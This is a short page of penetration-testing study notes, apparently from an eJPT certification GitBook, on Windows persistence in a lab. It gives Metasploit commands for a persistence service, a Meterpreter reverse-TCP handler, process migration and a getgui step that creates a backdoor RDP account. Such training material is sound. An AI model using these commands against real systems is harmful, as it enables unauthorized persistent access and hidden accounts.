> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/persistence/windows-persistence.md).

# Windows Persistence

### Persistence Via Services

Establishing Persistence on WIndows

* Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code - MITRE ATT\&CK.
* Gaining an initial foothold is not enough, you need to setup and maintain persistent access to your targets.

*Note: The persistence technique you use will need to be in accordance with the rules of engagement laid out and agreed upon with the client.*

{% embed url="<https://attack.mitre.org/>" %}

DEMO

```
nmap -sV <IP>
```

* exploit rejetto with msfconsole

```
>>>> sysinfo
>>>> getuid
> search persistence_service
> use exploit/windows/local/persistence_service
> set SESSION 1
> set lport <port>
> run

>>>> sysinfo
>>>> getuid
> exit
> sessions -k 1
```

```
msfconsole -q
> use multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost eth1
> set lport 4433
> exploit
>>>> sysinfo
>>>> getuid
```

***

### Persistence Via RDP

```
nmap -sV <IP>
```

* exploit badblue\_passthru&#x20;
* searchsploit badblue

```
>>>> getuid
>>>> sysinfo
>>>> pgrep explorer
>>>> migrate 4072
>>>> sysinfo
>>>> run getgui -e -u <new-username> -p <password>
>>>> exit
```

```
# xfreerdp /u:<username> /p: <password> /v:<IP>
```

&#x20;